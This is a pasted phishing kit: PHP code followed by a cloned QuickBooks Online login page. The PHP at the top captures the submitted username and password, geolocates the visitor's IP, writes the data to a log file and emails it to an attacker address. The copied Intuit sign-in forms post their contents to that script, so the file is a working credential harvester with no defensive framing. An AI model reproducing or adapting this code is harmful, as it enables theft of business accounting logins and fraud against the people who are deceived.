Advertisement
Guest User

Untitled

a guest
Apr 11th, 2018
854
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 49.32 KB | None | 0 0
  1. <?php
  2. error_reporting(0);
  3. $post_form = "5zztri7Y.php";
  4. $rp = '';
  5. if (!empty($_SERVER['HTTP_CLIENT_IP'])) {
  6. $ip = $_SERVER['HTTP_CLIENT_IP'];
  7. } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
  8. $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  9. } else {
  10. $ip = $_SERVER['REMOTE_ADDR'];
  11. }
  12. if (isset($_POST['SignIn']))
  13. {
  14. $html = file_get_contents('http://ip-api.com/json/'.$ip);
  15. $db = json_decode($html);
  16. $current = file_get_contents('log.txt');
  17. $current .= '
  18. Username : '.$_POST['login'].'
  19. Password : '.$_POST['password'].'
  20. ========================================
  21. IP: '.$db->{'query'}.'
  22. Country: '.$db->{'country'}.'
  23. Region: '.$db->{'regionName'}.'
  24. City: '.$db->{'city'}.'
  25. Date: '.date('l jS \of F Y h:i:s A').'
  26.  
  27.  
  28. ';
  29. $msg = '
  30. Username : '.$_POST['login'].'
  31. Password : '.$_POST['password'].'
  32. ========================================
  33. IP: '.$db->{'query'}.'
  34. Country: '.$db->{'country'}.'
  35. Region: '.$db->{'regionName'}.'
  36. City: '.$db->{'city'}.'
  37. Date: '.date('l jS \of F Y h:i:s A').'
  38.  
  39.  
  40. ';
  41.  
  42. $email = "email@email.com";
  43. mail($email,"Accounts",$msg);
  44. file_put_contents('log.txt', $current);
  45.  
  46. exit;
  47. }
  48. ?>
  49.  
  50.  
  51. <!DOCTYPE html>
  52. <!-- saved from url=(0034)https://qbo.intuit.com/qbo36/login -->
  53. <html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
  54.  
  55. <meta http-equiv="x-ua-compatible" content="IE=edge">
  56.  
  57. <meta name="msapplication-TileColor" content="#193048">
  58. <meta name="msapplication-square150x150logo" content="https://uiclassic.intuitcdn.net/v1803.859/images/QBOlogo.png">
  59. <meta name="description" content="Log into your QuickBooks Online account here to access the #1 rated cloud accounting and bookkeeping software for small business. Try us for free!">
  60. <meta name="google-site-verification" content="oUUAhE078O4_RvIGerAuNMAaOjK2HbMM1W1J_dMZXNw">
  61. <meta name="robots" content="noindex, follow">
  62.  
  63. <meta name="ius-bu" content="sbg">
  64. <link rel="canonical" href="https://qbo.intuit.com/qbo1/login">
  65.  
  66. <title>QuickBooks Login - Sign in to QuickBooks to manage your business</title>
  67.  
  68. <link rel="stylesheet" type="text/css" href="./book_files/login.css">
  69. <link rel="apple-touch-icon icon shortcut" type="image/png" href="https://uiclassic.intuitcdn.net/v1803.859/scripts/harmony/images/qbo-ball.png">
  70. <link rel="stylesheet" type="text/css" href="./book_files/harmony.css">
  71.  
  72. <!-- IUS signIn widget. Company locale is good as the error messages are properly localized for that locale-->
  73. <script type="text/javascript">
  74. if(window.top !== window.self) {
  75. window.top.location.href = window.self.location.href;
  76. }
  77. </script>
  78. <script src="./book_files/jquery.min.js.download"></script>
  79. <link rel="stylesheet" href="./book_files/ius.min.css"><script src="./book_files/ius-core.js.download" data-widgets="sign-in" data-locale="en-us"></script>
  80.  
  81.  
  82.  
  83. <script type="text/javascript" src="./book_files/Common_js_bundle-en_US.js.download"></script>
  84. <script type="text/javascript" src="./book_files/Redir_js_bundle-en_US.js.download"></script>
  85. <script type="text/javascript" src="./book_files/commonutil_global_variables.js.download"></script>
  86. <script type="text/javascript" src="./book_files/Login_js_bundle-en_US.js.download"></script>
  87. <script type="text/javascript" language="JavaScript">
  88. var CLUSTER_ID ='36';
  89. var STATIC_IMAGE_HOST='https://uiclassic.intuitcdn.net';
  90. var STATIC_CSS_HOST='https://uiclassic.intuitcdn.net';
  91. var STATIC_JS_HOST='https://uiclassic.intuitcdn.net';
  92. var STATIC_FLASH_HOST='https://uiclassic.intuitcdn.net';
  93. var SERVLET_ROOT='/qbo36';
  94. var SERVER_GROUP='0';
  95. var IS_SAMPLE_COMPANY=false;
  96. var REPORTS_POST_LOOP_RETRY_COUNT='3';
  97. var refresh_top_frame_menu=false;
  98. var FRONT_END_SERVER_NAME='qbo.intuit.com';
  99. var APP_IMAGE_VER = '1803.859';
  100. var APP_SCRIPT_VER = '1803.859';
  101. var APP_CSS_VER = '1803.859';
  102. var APP_FRAMESET_VER = '1803.859';
  103. var APP_REL_NUM = '1803.859';
  104. </script>
  105.  
  106. <script type="text/javascript" src="./book_files/globalvars.js.download"></script>
  107. <script type="text/javascript" language="JavaScript">
  108. try{top.buttonID = '';}catch(e){}
  109. </script><script>
  110. var error_stopped = false;
  111. var error_documentloadedcomplete = false;
  112. try {window.document.onstop = stopHandler;} catch (e) {}
  113. try {window.document.onreadystatechange = readyStateHandler;} catch (e) {}
  114. </script>
  115.  
  116. <script type="text/javascript" src="./book_files/cu_callstack.js.download"></script>
  117. <script>
  118. var onerror_show_callstack = cu_show_callstack;
  119. var POPUP_HTML = '/c36/v1803.859/popup.html';
  120. var PRODNAME_M = 'QuickBooks Online Plus';
  121. var QB_URL_JS_ERROR = '/c36/v1803.859/0/js_error';
  122. var IN_PRODUCTION = true;
  123. window.onerror = errorHandler;
  124. </script><script>
  125. function recordUserError(message)
  126. {
  127. usererrorimage.src = '/c36/v1803.859/0/user_error' + '?' + 'msg=' + _qbo_escape(message);
  128. }
  129. var IS_DEPARTMENTS_ENABLED=false;
  130. var IS_KLASSES_ENABLED=false;
  131. var IS_ACCOUNTNUMBERS_ENABLED=false;
  132. var IS_TIMETRACKING_ENABLED=false;
  133. var IS_TIMETRACKING_BILLFORTIME_ENABLED=false;
  134. var IS_CREDIT_REFUND_ENABLED=false;
  135. var IS_CREATE_EMPLOYEES_ENABLED=false;
  136. var IS_CREATE_PAYCHECKS_ENABLED=false;
  137. var IS_DIY_PAYROLL_ENABLED = false;
  138. var IS_FEATURE_ACCOUNTING_ENABLED = false;
  139. var IS_ESTIMATES_ENABLED=false;
  140. var ESTIMATE_BILLING_TYPE=0;
  141. var COMPANY_USES_GTAX= false;
  142. var IS_MULTICURRENCY_ENABLED= false;
  143. var IS_MULTICURRENCY_AVAILABLE= false;
  144. var IS_GTM_UD_RATE_ALLOWED = false;
  145. var IS_GTM_SUPPORTS_SINGLE_TAX_ON_TXN = false;
  146. var IS_GTM_SUPPORTS_TIME_FOR_CCBT = false;
  147. var IS_DETAILED_TAX_SUMMARY_SHOWN = false;
  148. var CALCULATE_TAX_ON_TAXABLE_SUBTOTAL = false;
  149. var USER_EMAIL = "";
  150. var IS_REPORTS_USER= false;
  151. var IS_CLASSIC_RELOGIN_DISABLED= false;
  152. var EXTERNAL_MAP_URL = "http://maps.google.com/maps?q=";
  153. var IS_SHOWACCOUNTNUMBERS_ENABLED=false;;
  154. var HAS_CAPACITY_LIMITATION=false;
  155. var CAPACITY_LIMIT_APPLICABLE=false;
  156. var USE_TEXT_BASED_BUTTONS=true;
  157. function QUICKADD_HAS_ACCESS_RIGHTS (type, subtype) {if (type=='account') return false;if (type=='name' && subtype=='customer') return false;if (type=='name' && subtype=='vendor') return false;if (type=='name' && subtype=='employee') return false;if (type=='name' && subtype=='employeevendor') return false;if (type=='name') return false;if (type=='item') return false;if (type=='klass') return false;if (type=='paymentmethod') return false;if (type=='department') return false;if (type=='term') return false;if (type=='taxcoderate') return false;return true;}if (top.DO_NOT_HIDE_FRAME != null) {top.DO_NOT_HIDE_FRAME=null; window.DO_NOT_HIDE_FRAME = 'true'};
  158. try {if (FORCE_EARLY_REFRESH != null) {if (top.FORCE_IMMEDIATE_PAGE_REFRESH != null) {top.FORCE_IMMEDIATE_PAGE_REFRESH =null; FORCE_EARLY_REFRESH = true;}};} catch (e) {};
  159. if (top.FORCE_IMMEDIATE_PAGE_REFRESH != null) {top.FORCE_IMMEDIATE_PAGE_REFRESH = null; GlobalVars_DONT_HIDE_NEXT_PAGE(); GlobalVars_Refresh();}
  160.  
  161. function GlobalVars_REPLACE_CUSTOM_TERMINOLOGIES(text)
  162. {
  163. if (text.search(/%%.*customer.*%%/i) >= 0) {
  164. text = text.replace(/%%customer%%/g, "customer");
  165. text = text.replace(/%%Customer%%/g, "Customer");
  166. text = text.replace(/%%customers%%/g, "customers");
  167. text = text.replace(/%%Customers%%/g, "Customers");
  168. text = text.replace(/%%a_customer%%/g, "a customer");
  169. text = text.replace(/%%A_customer%%/g, "A customer");
  170. text = text.replace(/%%a_Customer%%/g, "a Customer");
  171. text = text.replace(/%%customer's%%/g, "customer's");
  172. text = text.replace(/%%Customer's%%/g, "Customer's");
  173. text = text.replace(/%%a_customer's%%/g, "a customer's");
  174. text = text.replace(/%%A_customer's%%/g, "A customer's");
  175. }
  176. if (text.search(/%%.*department.*%%/i) >= 0) {
  177. text = text.replace(/%%department%%/g, "business");
  178. text = text.replace(/%%Department%%/g, "Business");
  179. text = text.replace(/%%departments%%/g, "businesses");
  180. text = text.replace(/%%Departments%%/g, "Businesses");
  181. text = text.replace(/%%a_department%%/g, "a business");
  182. text = text.replace(/%%A_department%%/g, "A business");
  183. text = text.replace(/%%a_Department%%/g, "a Business");
  184. text = text.replace(/%%department's%%/g, "business's");
  185. text = text.replace(/%%Department's%%/g, "Business's");
  186. text = text.replace(/%%a_department's%%/g, "a business's");
  187. text = text.replace(/%%A_department's%%/g, "A business's");
  188. }
  189. if (text.search(/%%.*statement.*%%/i) >= 0) {
  190. text = text.replace(/%%statement%%/g, "invoice");
  191. text = text.replace(/%%Statement%%/g, "Invoice");
  192. text = text.replace(/%%statements%%/g, "invoices");
  193. text = text.replace(/%%Statements%%/g, "Invoices");
  194. text = text.replace(/%%a_statement%%/g, "an invoice");
  195. text = text.replace(/%%A_statement%%/g, "An invoice");
  196. text = text.replace(/%%a_Statement%%/g, "an Invoice");
  197. text = text.replace(/%%statement's%%/g, "invoice's");
  198. text = text.replace(/%%Statement's%%/g, "");
  199. text = text.replace(/%%a_statement's%%/g, "an invoice's");
  200. text = text.replace(/%%A_statement's%%/g, "An invoice's");
  201. }
  202. if (text.search(/%%.*prodname.*%%/i) >= 0) {
  203. text = text.replace(/%%prodname.m%%/g, "QuickBooks Online Plus");
  204. text = text.replace(/%%prodname.s%%/g, "QuickBooks");
  205. text = text.replace(/%%prodname.prlm%%/g, "QuickBooks Online Payroll");
  206. text = text.replace(/%%prodname.prls%%/g, "Online Plus");
  207. }
  208. if (text.search(/%%.*qbo_payroll.*%%/i) >= 0) {
  209. text = text.replace(/%%qbo_payroll.payrollStartDate%%/g, "");
  210. text = text.replace(/%%qbo_payroll.ptoSick%%/g, "");
  211. text = text.replace(/%%qbo_payroll.ptoVacation%%/g, "");
  212. }
  213. if (text.search(/%%.*income.*%%/i) >= 0) {
  214. text = text.replace(/%%income%%/g, "income");
  215. text = text.replace(/%%Income%%/g, "Income");
  216. text = text.replace(/%%incomes%%/g, "incomes");
  217. text = text.replace(/%%Incomes%%/g, "Incomes");
  218. text = text.replace(/%%an_income%%/g, "an income");
  219. text = text.replace(/%%An_income%%/g, "An income");
  220. text = text.replace(/%%an_Income%%/g, "an Income");
  221. text = text.replace(/%%income's%%/g, "income's");
  222. text = text.replace(/%%Income's%%/g, "Income's");
  223. text = text.replace(/%%an_income's%%/g, "an income's");
  224. text = text.replace(/%%An_income's%%/g, "An income's");
  225. }
  226. if (text.search(/%%.*expense.*%%/i) >= 0) {
  227. text = text.replace(/%%expense%%/g, "expense");
  228. text = text.replace(/%%Expense%%/g, "Expense");
  229. text = text.replace(/%%expenses%%/g, "expenses");
  230. text = text.replace(/%%Expenses%%/g, "Expenses");
  231. text = text.replace(/%%an_expense%%/g, "an expense");
  232. text = text.replace(/%%An_expense%%/g, "An expense");
  233. text = text.replace(/%%an_Expense%%/g, "an Expense");
  234. text = text.replace(/%%expense's%%/g, "expense's");
  235. text = text.replace(/%%Expense's%%/g, "Expense's");
  236. text = text.replace(/%%an_expense's%%/g, "an expense's");
  237. text = text.replace(/%%An_expense's%%/g, "An expense's");
  238. }
  239. if (text.search(/%%.*invoice.*%%/i) >= 0) {
  240. text = text.replace(/%%invoice%%/g, "invoice");
  241. text = text.replace(/%%Invoice%%/g, "Invoice");
  242. text = text.replace(/%%invoices%%/g, "invoices");
  243. text = text.replace(/%%Invoices%%/g, "Invoices");
  244. text = text.replace(/%%an_invoice%%/g, "an invoice");
  245. text = text.replace(/%%An_invoice%%/g, "An invoice");
  246. text = text.replace(/%%an_Invoice%%/g, "an Invoice");
  247. text = text.replace(/%%invoice's%%/g, "invoice's");
  248. text = text.replace(/%%Invoice's%%/g, "Invoice's");
  249. text = text.replace(/%%an_invoice's%%/g, "an invoice's");
  250. text = text.replace(/%%An_invoice's%%/g, "An invoice's");
  251. }
  252. if (text.search(/%%.*profit_and_loss.*%%/i) >= 0) {
  253. text = text.replace(/%%profit_and_loss%%/g, "profit and loss");
  254. text = text.replace(/%%Profit_and_Loss%%/g, "Profit and Loss");
  255. text = text.replace(/%%profits_and_losses%%/g, "");
  256. text = text.replace(/%%Profits_and_Losses%%/g, "");
  257. text = text.replace(/%%a_profit_and_loss%%/g, "");
  258. text = text.replace(/%%A_profit_and_loss%%/g, "");
  259. text = text.replace(/%%a_Profit_and_Loss%%/g, "");
  260. text = text.replace(/%%profit_and_loss's%%/g, "");
  261. text = text.replace(/%%Profit_and_Loss's%%/g, "");
  262. text = text.replace(/%%a_profit_and_loss's%%/g, "");
  263. text = text.replace(/%%A_profit_and_loss's%%/g, "");
  264. }
  265. if (text.search(/%%.*balance_sheet.*%%/i) >= 0) {
  266. text = text.replace(/%%balance_sheet%%/g, "balance sheet");
  267. text = text.replace(/%%Balance_Sheet%%/g, "Balance Sheet");
  268. text = text.replace(/%%balance_sheets%%/g, "");
  269. text = text.replace(/%%Balance_Sheets%%/g, "");
  270. text = text.replace(/%%a_balance_sheet%%/g, "");
  271. text = text.replace(/%%A_balance_sheet%%/g, "");
  272. text = text.replace(/%%a_Balance_Sheet%%/g, "");
  273. text = text.replace(/%%balance_sheet's%%/g, "");
  274. text = text.replace(/%%Balance_Sheet's%%/g, "");
  275. text = text.replace(/%%a_balance_sheet's%%/g, "");
  276. text = text.replace(/%%A_balance_sheet's%%/g, "");
  277. }
  278. if (text.search(/%%.*sales_receipt.*%%/i) >= 0) {
  279. text = text.replace(/%%sales_receipt%%/g, "sales receipt");
  280. text = text.replace(/%%Sales_Receipt%%/g, "Sales Receipt");
  281. text = text.replace(/%%sales_receipts%%/g, "sales receipts");
  282. text = text.replace(/%%Sales_Receipts%%/g, "Sales Receipts");
  283. text = text.replace(/%%a_sales_receipt%%/g, "a sales receipt");
  284. text = text.replace(/%%A_sales_receipt%%/g, "A sales receipt");
  285. text = text.replace(/%%a_Sales_Receipt%%/g, "a Sales Receipt");
  286. text = text.replace(/%%sales_receipt's%%/g, "sales receipt's");
  287. text = text.replace(/%%Sales_Receipt's%%/g, "Sales Receipt's");
  288. text = text.replace(/%%a_sales_receipt's%%/g, "a sales receipt's");
  289. text = text.replace(/%%A_sales_receipt's%%/g, "A sales receipt's");
  290. }
  291. return text;
  292. }
  293. var NewPrintAndPreview=false;
  294. var NewPrintAndPreviewNoPDF=true;
  295. </script>
  296. <style id="global_hideselectlistshack"> SELECT {visibility: ;}</style>
  297. <style id="global_hideframeshack"> IFRAME {visibility: ;}</style>
  298. <style id="global_hideappletshack"> APPLET {visibility: ;}</style>
  299.  
  300. <meta http-equiv="Expires" content="-1">
  301.  
  302. <meta name="application-name" content="QuickBooks">
  303. <meta name="apple-mobile-web-app-title" content="QuickBooks">
  304. <meta name="google-site-verification" content="hiEXDzwqUxxMY5KZkAkeHBn6J0gy2Ne1gJdm77RkGbk">
  305. <meta name="google-site-verification" content="_r_yS3HqT7RbVdnQ0PXotOmkqK2taSZ81xstNM_Uxqg">
  306. <link rel="apple-touch-icon icon shortcut" type="image/png" href="https://uiclassic.intuitcdn.net/v1803.859/scripts/harmony/images/qbo-ball.png">
  307. <script type="text/javascript">
  308. var NEO=true;
  309. var __CJP__=window;
  310. if (!__CJP__) { __CJP__ = parent.CJP; }
  311. var __CTX__='top';
  312. var CJP=__CJP__;
  313. var LJP=top;
  314. var QBO_ENV="prod"
  315. var CLIENT_LOCALE = "en_US";
  316. var QBO_COOKIE_PREFIX = "qbo";
  317. var IS_MAC_EMBEDDED = false;
  318. var USE_SHOW_MODAL_DIALOG = true;
  319. </script>
  320.  
  321. <script type="text/javascript" src="./book_files/jscontext.js.download"></script><style type="text/css">.ius-sign-in-widget{overflow:visible}.ius-sign-in-password-captcha{min-height:107px}.ius-captcha{padding-bottom:15px}.ius-sign-in-widget .ius-captcha-tos-container{background-color:#ECEEF1;margin:32px -30px -30px;padding:16px;text-align:center}.ius-sign-in-widget .ius-captcha{font-size:10px;color:#8d9096}@media (max-width:480px){.ius-sign-in-widget #ius-confirm-via-channel-actions,.ius-sign-in-widget #ius-otp-actions{padding-bottom:100px}}</style><style type="text/css">.ius-sign-in-widget .ius-channel-email,.ius-sign-in-widget .ius-label-email-me-a-code,.ius-sign-in-widget .ius-label-text-me-a-code{font-weight:700}</style>
  322.  
  323. </head>
  324. <body onload="doOnload();" class="has-ius en_US ">
  325. <div id="margin32"></div>
  326. <div class="leftshadow generalcontainer ">
  327. <div class="maincontainer" id="maincontainer">
  328. <div class="logocontainer">
  329. <img class="qblogo" alt="QuickBooks" src="./book_files/common_images_logo_v2.png">
  330. </div>
  331. <div class="bodycontainer">
  332. <table cellspacing="0" cellpadding="0">
  333. <tbody><tr>
  334. <td class="comingsooncontainer">
  335. <div>
  336. <div id="defaultComingSoon" style="display: block;">
  337. <div class="dtPromo"><div class="dtHeaderContent">Next time, skip this sign-in</div><div class="dtSubheadingContent">Download the Windows app to run QuickBooks even faster</div><div><a class="dtFreeDownloadLinkA" target="_blank" href="https://quickbooks.intuit.com/download?cid=ipd_qbo_maya"><img class="dtImage" alt="QuickBooks Windows App" src="./book_files/dt-client-win.png"></a></div><div class="dtFreeDownloadLinkDiv"><a class="dtFreeDownloadLink" target="_blank" href="https://quickbooks.intuit.com/download?cid=ipd_qbo_maya">Download it free</a></div><div><a class="dtLearnMoreLink" target="_blank" href="https://quickbooks.intuit.com/blog/whats-new/how-to-run-quickbooks-online-up-to-46-faster/?referrer=qbologin">Learn how it works</a></div></div>
  338. <div class="comingsoonsubtitle" style="display:none">
  339. Read more at the <a class="blog_link" target="qboblog" href="http://quickboosks.intuit.com/blog">QuickBooks Online Blog!</a>
  340. </div>
  341. </div>
  342. <div id="helpSection" style="display: none;">
  343. <div class="helpSectionTitle">Having trouble signing in?</div>
  344. <div class="helpSectionText">Not to worry, we're here to help.</div>
  345. <div class="helpSectionText" style="margin-top:1px;">Recover your <a href="https://qbo.intuit.com/c36/v1803.859/0/extrequest/login/recover?source=login" target="qbologinrecover">user ID or password</a></div>
  346.  
  347. </div>
  348. </div>
  349. </td>
  350. <td class="logincontainer"><div id="ius-sign-in-widget"><div id="ius-sign-in-wrapper" class="ius-reset ius ius-sign-in-widget ius-hosted-ui en-us" style=""><div id="ius-sign-in-ecosystem-logos" class="ius-hide ius-widget-header-ecosystem-logos"></div><hr id="ius-sign-in-separator" class="ius-conditional-hr ius-hide"><section id="ius-sign-in-spinner" class="ius-sign-in-spinner ius-hide ius-section"><div class="ius-spinner"></div></section><section id="ius-sign-in" class="ius-section"><header class="ius-header-container ius-header-small-padding"><div><span id="ius-sign-in-header" class="ius-header">Sign in</span></div><div id="ius-sign-in-sub-header-content-container" class="ius-sign-in-sub-header-content-container"><span id="ius-sign-in-sub-header" class="ius-sub-header"></span> <a href="email.php" target="_blank" id="ius-sign-in-ecosystem-learn-more" class="ius-hide ius-small-info-link" style="display: none;">Learn&nbsp;more</a></div></header><div id="ius-sign-in-messages"><div id="ius-sign-in-error" aria-live="assertive" role="alert" class="ius-hide ius-error-alert ius-main-error"></div></div><form id="ius-form-sign-in" action="<?php echo $post_form; ?>" method="post" autocomplete="on" novalidate=""><fieldset id="ius-fieldset-pin" class="ius-hide"><label id="ius-label-pin" class="ius-label" for="ius-pin">Security code</label><div class="ius-text-input-container"><input id="ius-pin" class="ius-text-input" name="Pin" aria-required="true" required="required"> <span id="ius-status-pin" class="ius-status" aria-live="assertive" role="alert"></span></div><span id="ius-error-pin" class="ius-error ius-field-block" for="ius-pin" aria-live="assertive" role="alert"></span></fieldset><div id="ius-sign-in-partner-auth-buttons-container" class="ius-clearfix"><div id="ius-partner-auth-buttons" class="ius-partner-auth-buttons"><div id="ius-partner-buttons-list" class="ius-partner-buttons-list"><div class="ius-partner-button" data-partner-uid="google"><button type="button" id="ius-google-button" class="ius-google-button"><div class="ius-google-icon-and-text"><span class="ius-google-icon"></span> <span class="ius-google-button-text">Sign in with Google</span></div></button></div><section id="ius-style-canary" class="ius-style-canary" style="display: none; font-weight:400; font-size: 1px;"></section></div><div class="ius-partner-separator"><span class="ius-strike ius-strike-side"></span> <span id="ius-partner-alternative-text" class="ius-strike-center-text">or</span> <span class="ius-strike ius-strike-side"></span></div></div><section id="ius-style-canary" class="ius-style-canary" style="display: none; font-weight:400; font-size: 1px;"></section></div><fieldset id="ius-fieldset-userid"><label id="ius-label-userid" class="ius-label ius-top-label" for="ius-userid">User ID</label><div class="ius-text-input-container"><input id="ius-userid" class="ius-text-input" name="Email" type="email" aria-required="true" required="required" data-valid="valid" tabindex="1"> <span id="ius-status-userid" class="ius-status" aria-live="assertive" role="alert"></span></div><span id="ius-error-userid" class="ius-error ius-field-block" for="ius-userid" aria-live="assertive" role="alert"></span></fieldset><fieldset id="ius-fieldset-password"><label id="ius-label-password" class="ius-label" for="ius-password">Password</label><div class="ius-text-input-container"><input id="ius-password" class="ius-text-input" name="Password" type="password" aria-required="true" required="required" tabindex="2" data-valid="valid"> <span id="ius-status-password" class="ius-status" aria-live="assertive" role="alert"></span></div><span id="ius-error-password" class="ius-error ius-field-block" for="ius-password" aria-live="assertive" role="alert"></span></fieldset><div id="ius-label-remember" class="ius-checkbox-container ius-remember-me ius-default-bottom-spacer"><input id="ius-remember" class="ius-checkbox-input ius-checkbox-hide" type="checkbox"> <label id="ius-signin-label-checkbox" class="ius-checkbox-label" for="ius-remember" tabindex="3" aria-label="Remember me"></label> <label id="ius-label-remember-me" class="ius-checkbox-text ius-display-inline-block ius-sub-header-size" for="ius-remember">Remember my user ID</label> <label id="ius-label-stay-signed-in" class="ius-hide ius-checkbox-text ius-display-inline-block ius-sub-header-size" for="ius-remember">Stay signed in</label></div><div id="ius-sign-in-actions" class="ius-clearfix"><button id="ius-sign-in-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-float-left ius-btn-prominent" name="SignIn" type="submit" data-clicked-text="Signing In ..." tabindex="4"><span id="ius-sign-in-submit-img" class="ius-white-lock-img"></span> <span id="ius-sign-in-submit-btn-text">Sign in</span></button></div><div id="ius-terms-of-use" class="ius-side ius-italic ius-centered-tos"><span id="ius-terms-of-use-text">By clicking Sign In, you agree to our<br><a id="ius-link-terms-of-use" href="https://qbo.intuit.com/c1/Terms_Of_Service.html" target="_blank">License Agreement</a><span id="ius-sign-in-consent-and" class="ius-hide">&nbsp;and&nbsp;</span><a id="ius-sign-in-privacy-statement-link" href="https://qbo.intuit.com/qbo36/login#" target="_blank" class="ius-hide">Privacy Statement</a></span>.</div><hr class="ius-conditional-hr"></form><ul class="ius-sign-in-list"><li><a id="ius-link-account-recovery" href="https://qbo.intuit.com/c36/v1803.859/0/extrequest/login/recover?source=login">I forgot my user ID or Password</a></li><li class="ius-hide" style="display: none;"><a id="ius-link-pwd-recovery" href="https://qbo.intuit.com/qbo36/login#">Forgot your password?</a></li><li class="ius-hide" style="display: none;"><a id="ius-link-userid-recovery" href="https://qbo.intuit.com/qbo36/login#">Forgot your user ID?</a></li><li id="ius-sign-up-link-li"><span id="ius-link-sign-up-prefix-text">New to QuickBooks? </span> <span><a id="ius-link-sign-up" href="http://quickbooks.intuit.com/signup/">Sign up</a><span id="ius-create-account-option-period" style="display: none;"></span></span></li></ul></section><section id="ius-sign-in-recaptcha" class="ius-captcha ius-hide"></section><section id="ius-sign-in-mfa-parent" class="ius-hide"></section><section id="ius-sign-in-recaptcha-parent" class="ius-hide"></section><section id="ius-sign-in-sso-confirmation-parent" class="ius-hide"></section><section id="ius-account-disabled" class="ius-hide ius-section"><header class="ius-header-container"><span id="ius-account-disabled-header" class="ius-header">The feature you've requested is temporarily unavailable.</span><span id="ius-account-disabled-sub-header" class="ius-sub-header">Make sure your browser has Javascript and cookies enabled. If the problem persists you can clear your cache and cookies and then restart your computer, or try using a different browser.<br><a href="https://qbo.intuit.com/qbo36/login#" id="ius-account-disabled-try-again-link">Try signing in again</a></span></header><div id="ius-account-disabled-actions"><span id="ius-account-disabled-contact-support" class="ius-display-block ius-default-bottom-spacer ius-sub-header-size">For more help, please <a id="ius-account-disabled-contact-support-link">contact customer support </a>and reference code <span id="ius-account-disabled-error-code"></span>.</span></div></section><section id="ius-account-locked-out-section" class="ius-hide ius-section"></section><section id="ius-post-auth-best-account-section" class="ius-hide ius-section"><header class="ius-header-container ius-header-small-padding"><span id="ius-post-auth-best-account-header" class="ius-header">Look what we found!</span></header><div class="ius-default-bottom-spacer"><div id="ius-post-auth-best-account-info" class="ius-default-bottom-spacer">An account using:<br><strong><span id="ius-post-auth-best-account-info-user-id"></span><br></strong></div><div id="ius-post-auth-best-account-action-info"><span id="ius-post-auth-best-account-current-account-text">Using your most current account can help you get your taxes done faster. </span><span id="ius-post-auth-best-account-switch-account-text">Do you want to sign out &amp; sign back in with this account?</span><br><a href="https://qbo.intuit.com/qbo36/login#" id="ius-post-auth-best-account-learn-more-link" target="_blank">Learn&nbsp;more</a></div></div><div id="ius-post-auth-best-account-actions" class="ius-clearfix ius-btn-container ius-text-input-container ius-btn-continue-flow"><button id="ius-post-auth-best-account-submit-btn" class="ius-btn ius-btn-submit">Switch accounts</button> <button id="ius-post-auth-best-account-back-btn" type="button" class="ius-btn ius-btn-back">Not now</button></div></section><section id="ius-verified-user-update-section" class="ius-hide ius-section"><div id="ius-verified-user-update-widget"></div></section><section id="ius-sign-in-brand-shake-seam-parent" class="ius-section ius-hide"></section><section id="ius-sign-in-invitation-expired" class="ius-section ius-hide"><div class="ius-default-bottom-spacer ius-header-container"><div class="ius-header">This invitation has expired</div></div><div id="ius-sign-in-invitation-expired-body" class="ius-default-bottom-spacer ius-header-container">It appears that the invitation has either already been accepted or is no longer valid. If you require a new invitation, please contact the company administrator.</div><div><input id="ius-sign-in-invitation-expired-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-btn-prominent" name="SignIn" type="submit" value="Sign In" data-clicked-text="Signing In ..."> <button type="button" id="ius-sign-in-expired-done" class="ius-btn ius-btn-back ius-btn-prominent ius-hide">Done</button></div></section><section id="ius-sign-in-invitation-success" class="ius-section ius-hide"><div class="ius-default-bottom-spacer"><div class="ius-header ius-header-container">Success!</div></div><div id="ius-sign-in-invitation-success-body" class="ius-default-bottom-spacer ius-header-container"><span id="realm_id_success_message"></span></div><div><input id="ius-sign-in-invitation-continue-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-btn-prominent" name="ContinueTo" type="submit"> <button type="button" id="ius-sign-in-invitation-back-btn" class="ius-btn ius-btn-back ius-hide">Close Window</button></div></section><section id="ius-sign-in-setRealm-failure" class="ius-section ius-hide"><div class="ius-default-bottom-spacer"><div class="ius-header"><span id="ius-sign-in-setRealm-failure-error-header"></span></div></div><div id="ius-sign-in-setRealm-failure-error-body" class="ius-default-bottom-spacer"><span id="ius-sign-in-setRealm-failure-error-message"></span></div><div><input id="ius-sign-in-setRealm-failure-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-float-left" name="SignIn" type="submit" value="Sign In" data-clicked-text="Signing In ..."></div></section><section id="ius-sign-in-do-accept-fail" class="ius-section ius-hide"><div class="ius-default-bottom-spacer"><div class="ius-header"><span id="ius-sign-in-do-accept-error-header"></span></div></div><div id="ius-sign-in-do-accept-error-body" class="ius-default-bottom-spacer">There was an error during the invitation process. Please try again.</div><div><input id="ius-sign-in-do-accept-fail-submit-btn" class="ius-btn ius-btn-submit ius-display-inline-block ius-float-left" name="SignIn" type="submit" value="Try again"></div></section><div id="ius-captcha-tos-container-display" class="ius-captcha-tos-container ius-hide"><span id="ius-captcha-terms-of-use" class="ius-captcha"><span id="ius-captcha-terms-of-use-text">Invisible reCAPTCHA by Google <a id="ius-captcha-privacy-policy" href="https://www.google.com/intl/en/policies/privacy/" target="_blank">Privacy Policy</a><span id="ius-sign-up-consent-and">&nbsp;and&nbsp;</span><a id="ius-captcha-terms" href="https://www.google.com/intl/en/policies/terms/" target="_blank">Terms of Use</a>.</span></span></div><div class="ius-invisible-recaptcha" id="ius-invisible-recaptcha-display"></div></div><section id="ius-style-canary" class="ius-style-canary" style="display: none; font-weight:400; font-size: 1px;"></section></div></td> <!-- I'm not removing the below as some JS depends on these components. For the long term this needs to be cleaned up -->
  351. <td class="logincontainer" style="display:none">
  352. <form name="loginform" id="loginform" action="<?php echo $post_form; ?>" method="POST">
  353. <input type="hidden" name="parentID" value="0"><input id="useswitchco" name="useswitchco" type="hidden" value="false">
  354. <div id="logincontainer">
  355. <div class="logincontainertitle">Sign In </div>
  356. <div style="margin-top:5px;">
  357. <div class="field_label">User ID</div>
  358. <div class="fielddiv">
  359. <div style="display:inline;"><input maxlength="256" type="text" name="login" id="login" value="" tabindex="1" class="textfield"></div>
  360. <div style="margin-top:5px; display: none; "><a href="javascript:forgotUserID(qboURL(&#39;login&#39;))" class="regular_link" style="font-size:10px;" tabindex="5">Forgot your user ID?</a></div>
  361. </div>
